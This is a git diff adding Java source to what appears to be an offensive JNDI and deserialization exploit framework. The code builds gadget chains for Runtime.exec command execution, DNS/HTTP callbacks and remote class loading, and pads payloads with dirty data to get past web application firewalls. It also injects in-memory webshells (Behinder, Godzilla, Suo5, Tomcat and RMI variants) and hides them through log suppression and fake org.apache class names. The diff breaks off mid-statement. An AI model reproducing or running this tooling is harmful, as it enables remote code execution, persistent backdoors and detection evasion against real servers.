transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("[-]")[1]) + "');"})}; + } else if (command.startsWith("DL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("[-]")[1]}}), new ConstantTransformer(1)}; + } else if (command.startsWith("HL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("[-]")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("BC-")) { + transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{command.split("[-]")[1]}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else { + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, (Object[]) execArgs), new ConstantTransformer(Integer.valueOf(1))}; + } + return transformers; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java new file mode 100644 index 00000000..301c24ca --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java @@ -0,0 +1,25 @@ +package com.qi4l.jndi.gadgets.utils.clojure; + +import com.qi4l.jndi.gadgets.utils.Utils; +import com.qi4l.jndi.gadgets.utils.Strings; + +import java.util.Arrays; + +public class ClojureUtil { + + public static String makeClojurePayload(String command) { + if (command.startsWith("TS-")) + return String.format("(java.lang.Thread/sleep " + (Integer.parseInt(command.split("[-]")[1]) * 1000) + ")", new Object[0]); + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; + } + String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); + return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"nu1r\")", new Object[]{cmd}); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java new file mode 100644 index 00000000..57f442f2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java @@ -0,0 +1,111 @@ +package com.qi4l.jndi.gadgets.utils.dirty; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Utils; + +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + +/** + * 来自 c0ny1 + *

+ * Java反序列化数据绕WAF之加大量脏数据 + * 链接:https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/ + */ +public class DirtyDataWrapper { + + // 脏数据大小 + private final int dirtyDataSize; + + private final int dirtyDataType; + + // gadget 对象 + private final Object gadget; // gadget对象 + + public DirtyDataWrapper(Object gadget, int dirtyDataType, int dirtyDataSize) { + this.gadget = gadget; + this.dirtyDataType = dirtyDataType; + this.dirtyDataSize = dirtyDataSize; + } + + /** + * 脏数据填充反序列化利用链 + * + * @return 返回包裹后的反序列化数据 + */ + public Object doWrap() { + + Object wrapper = null; + + // 如果混淆长度为 0 则不混淆 + if (dirtyDataSize == 0) { + return gadget; + } + + switch (dirtyDataType) { + // type 为 1 时,随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object,并指定脏数据大小 + // by c0ny1 + case 1: + // 生成随机字符串 + String dirtyData = new RandomString((dirtyDataSize), ThreadLocalRandom.current()).getString(); + String randStr1 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + String randStr2 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + // 随机选择封装对象 + int type = (int) (Math.random() * 10) % 10 + 1; + switch (type) { + case 0: + List arrayList = new ArrayList(); + arrayList.add(dirtyData); + arrayList.add(gadget); + wrapper = arrayList; + break; + case 1: + List linkedList = new LinkedList(); + linkedList.add(dirtyData); + linkedList.add(gadget); + wrapper = linkedList; + break; + case 2: + HashMap map = new HashMap(); + map.put(randStr1, dirtyData); + map.put(randStr2, gadget); + wrapper = map; + break; + case 3: + LinkedHashMap linkedHashMap = new LinkedHashMap(); + linkedHashMap.put(randStr1, dirtyData); + linkedHashMap.put(randStr2, gadget); + wrapper = linkedHashMap; + break; + default: + case 4: + TreeMap treeMap = new TreeMap(); + treeMap.put(randStr1, dirtyData); + treeMap.put(randStr2, gadget); + wrapper = treeMap; + break; + } + break; + // type 为 2 时,使用循环嵌套 LinkedList 来封装 object + // by Y4tacker + case 2: + List linkedList = new LinkedList(); + for (int i = 0; i < dirtyDataSize; i++) { + linkedList.add(Utils.makeClass("A" + System.nanoTime())); + } + linkedList.add(gadget); + wrapper = linkedList; + break; + // type 为 3 时,在 TC_RESET 中加入脏数据 + // by phith0n + case 3: + Config.IS_DIRTY_IN_TC_RESET = true; + Config.DIRTY_LENGTH_IN_TC_RESET = dirtyDataSize; + wrapper = gadget; + break; + } + + return wrapper; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java new file mode 100644 index 00000000..35aabc60 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.gadgets.utils.dirty; + +import java.util.Locale; +import java.util.Objects; +import java.util.Random; + +public class RandomString { + + /** + * 26个大写字母 + */ + public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + /** + * 26个小写字母 + */ + public static final String lower = upper.toLowerCase(Locale.ROOT); + + /** + * 数字 + */ + public static final String digits = "0123456789"; + + /** + * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 + */ + public static final String alphanum = upper + lower + digits; + + private final Random random; + + private final char[] symbols; + + private final char[] buf; + + public RandomString(int length, Random random, String symbols) { + if (length < 1) throw new IllegalArgumentException(); + if (symbols.length() < 2) throw new IllegalArgumentException(); + this.random = Objects.requireNonNull(random); + this.symbols = symbols.toCharArray(); + this.buf = new char[length]; + } + + /** + * 通过字母数字字符串生成器生成随机字符串。 + */ + public RandomString(int length, Random random) { + this(length, random, alphanum); + } + + /** + * 生成随机字符串 + */ + public String getString() { + for (int idx = 0; idx < buf.length; ++idx) { + buf[idx] = symbols[random.nextInt(symbols.length)]; + } + return new String(buf); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java new file mode 100644 index 00000000..536d6fcf --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java @@ -0,0 +1,55 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import javassist.CtClass; +import javassist.CtField; + +public class ClassFieldHandler { + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + + /** + * 将 Field String 转一层,实际用处不大 + * + * @param target Field String 值 + * @return 替换后的 String + */ + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + /** + * 只有在原 Class 已经有此 Field 的情况下才加入 + * + * @param ctClass CtClass + * @param fieldName field 名称 + * @param fieldCode field 代码 + * @throws Exception 抛出异常 + */ + public static void insertFieldIfExists(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + ctClass.addField(CtField.make(fieldCode, ctClass)); + } catch (javassist.NotFoundException ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java new file mode 100644 index 00000000..b94fc547 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java @@ -0,0 +1,305 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.Config.MemShellPayloads; +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.NotFoundException; +import org.apache.commons.lang.StringUtils; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.converString; +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.insertField; + +public class ClassMethodHandler { + /** + * 向指定的 ctClass 中插入方法,使用 insertBefore,不影响原有逻辑 + * + * @param ctClass 目标 CtClass + * @param method 方法名 + * @param payload 方法内容 String + * @throws Exception 抛出异常 + */ + public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { + System.out.println(ctClass); + System.out.println(method); + System.out.println(payload); + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.insertBefore(payload); + } + + + public static void insertKeyMethodByClassName(CtClass ctClass, String className, String type) throws Exception { + + // 动态为 Echo回显类 添加执行命令功能 + if (className.endsWith("Echo")) { + insertCMD(ctClass); + ctClass.getDeclaredMethod("q").setBody("{return execCmd($1);}"); + return; + } + + // 如果是 RMI 内存马,则修改其中的 registryPort、bindPort、serviceName,插入关键方法 + if (className.contains("RMIBindTemplate")) { + String[] parts = type.split("-"); + + if (parts.length < 3) { + // BindPort 写 0 就是随机端口 + throw new IllegalArgumentException("Command format is: EX-MS-RMIBindTemplate---"); + } + + // 插入关键参数 + String rPortString = "port=" + parts[0] + ";"; + ctClass.makeClassInitializer().insertBefore(rPortString); + String bPort = "bindPort=" + parts[1] + ";"; + ctClass.makeClassInitializer().insertBefore(bPort); + String sName = "serviceName=\"" + parts[2] + "\";"; + ctClass.makeClassInitializer().insertBefore(sName); + ctClass.setInterfaces(new CtClass[]{Config.POOL.get("javax.management.remote.rmi.RMIConnection"), Config.POOL.get("java.io.Serializable")}); + + // 插入目标执行类 + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make("public String getDefaultDomain(javax.security.auth.Subject subject) throws java.io.IOException {return new String(execCmd(((java.security.Principal)subject.getPrincipals().iterator().next()).getName()).toByteArray());}", ctClass)); + return; + } + + // 获取每个不同的类对应要插入的方法名 + String method = getMethodName(ctClass); + + // WebSocket 内存马 + if (className.contains("TWSMSFromThread")) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.WS_SHELL)); + return; + } + + // Tomcat Upgrade 内存马 + if (className.contains("TUGMSFromJMX")) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + insertGetFieldValue(ctClass); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.UPGRADE_SHELL)); + return; + } + + // Tomcat Executor 内存马 + if (className.contains("TEXMSFromThread")) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_RESPONSE), ctClass)); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.EXECUTOR_SHELL)); + return; + } + + // 其他的进入下一段处理逻辑 + if (StringUtils.isNotEmpty(type)) { + insertKeyMethod(ctClass, type, method); + } + } + + + public static void insertKeyMethod(CtClass ctClass, String type, String method) throws Exception { + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + insertBase64Decode(ctClass); + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_OBSCURE : MemShellPayloads.BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + insertBase64Decode(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_UNMARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = Config.POOL.get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.SUO5.SUO5)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_TOMCAT)); + } else { + insertGetMethodAndInvoke(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL)); + } + } + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TO_CSTRING_Method), ctClass)); + insertGetMethodAndInvoke(ctClass); + insertGetFieldValue(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD), ctClass)); + } + } + + public static void insertBase64Decode(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + } + + public static void insertGetFieldValue(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_FIELD_VALUE), ctClass)); + } + } + + public static void insertGetUnsafe(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getUnsafe"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_UNSAFE), ctClass)); + } + } + + + public static void insertGetMethodAndInvoke(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE), ctClass)); + } + } + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TOMCAT_NO_LOG), ctClass)); + } + + /** + * 获取该类的关键方法 + * + * @param ctClass CtClass + * @return 返回方法名 + * @throws Exception 抛出异常 + */ + public static String getMethodName(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + String name = ctClass.getName(); + String method = ""; + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + return method; + } + + public static void insertInitHookClassINFORMATION(CtClass ctClass, ArrayList list) throws Exception { + insertMethod(ctClass, "initHookClassINFORMATION", "{HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(0) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(1) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(2) + "\");}"); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java new file mode 100644 index 00000000..fee46abc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java @@ -0,0 +1,126 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.utils.SuClassLoader; + +import java.io.File; +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameHandler { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } else if (protocol.equals("file")) { + listClassesInDirectory(new File(url.getFile()), classSet, packageName); + } + } + } + } catch (Exception ignored) { + } + return classSet; + } + + // 方便不编译成 jar 时调试 + private static void listClassesInDirectory(File directory, Set classNames, String packageName) { + File[] files = directory.listFiles(); + if (files != null) { + for (File file : files) { + if (file.isDirectory()) { + listClassesInDirectory(file, classNames, packageName); + } else if (file.getName().endsWith(".class")) { + String fullName = file.getPath().replace(".class", ""); + String path = packageName.replace(".", "/"); + classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); + } + } + } + } + + public static String getHumanName(String className, String suffix) { + className = className.substring(className.lastIndexOf('.') + 1); + className = Character.toLowerCase(className.charAt(0)) + className.substring(1); + return className + suffix; + } + + + public static String searchClassByName(String name) { + Set set = getClassSet("com.qi4l.jndi.template."); + for (String fullName : set) { + if (fullName.endsWith(name)) { + return fullName.replace("\\", "."); + } + } + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java new file mode 100644 index 00000000..858f260a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java @@ -0,0 +1,239 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.Config.HookPointConfig; +import com.qi4l.jndi.gadgets.Config.MemShellPayloads; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.bytecode.*; +import org.apache.commons.codec.binary.Base64; + +import java.io.FileInputStream; +import java.util.List; + +public class GlassHandler { + public static CtClass generateClass(String target) throws Exception { + String newClassName = ClassNameHandler.generateClassName(); + CtClass ctClass = generateClass(target, newClassName); + + // 如果需要,保存类文件 + Utils.saveCtClassToFile(ctClass); + return ctClass; + } + + + public static CtClass generateClass(String target, String newClassName) throws Exception { + if (target.startsWith("EX-")) { + target = target.substring(3); + + // 内存马类型 + String shellType = ""; + String memShellName = ""; + Class memShellClazz = null; + + // 如果命令以 MS 开头,则代表是注入内存马 + if (target.startsWith("MS-")) { + target = target.substring(3); + + if (target.contains("-")) { + String[] commands = target.split("[-]"); + memShellName = commands[0]; + shellType = target.substring(target.indexOf("-") + 1); + } else { + memShellName = target; + shellType = "cmd"; + } + } else if (target.startsWith("Agent")) { + // 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入 + // EX-Agent-Lin/Win-Servlet-bx + String[] commands = target.split("[-]"); + return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : ""); + } else { + // 否则是回显类,或者其他功能 + memShellName = target; + } + + String result = ClassNameHandler.searchClassByName(memShellName); + if (result != null) { + memShellClazz = Class.forName(result, false, GadgetsYso.class.getClassLoader()); + } else { + throw new IllegalArgumentException("Input Error,Please Check Your MemShell Name!"); + } + + return generateClass(memShellClazz, shellType, newClassName); + } + + // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 + if (target.startsWith("LF-")) { + target = target.substring(3); + String filePath = target.contains("-") ? target.split("[-]")[0] : target; + CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); + ctClass.setName(newClassName); + + // 对本地加载的类进行缩短操作 + shrinkBytes(ctClass); + + // 使用 ClassLoaderTemplate 进行加载 + return Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + + return null; + } + + public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { + + CtClass ctClass = null; + byte[] byteCodes = null; + + String exClassName = clazz.getName(); + ctClass = Config.POOL.get(exClassName); + + // 为 Echo 类添加 CMD_HEADER_STRING + ClassFieldHandler.insertFieldIfExists(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + ClassFieldHandler.converString(Config.CMD_HEADER_STRING) + ";"); + + // 为 DefineClassFromParameter 添加自定义函数功能 + ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";"); + + // 为内存马添加名称 + ClassFieldHandler.insertFieldIfExists(ctClass, "NAME", 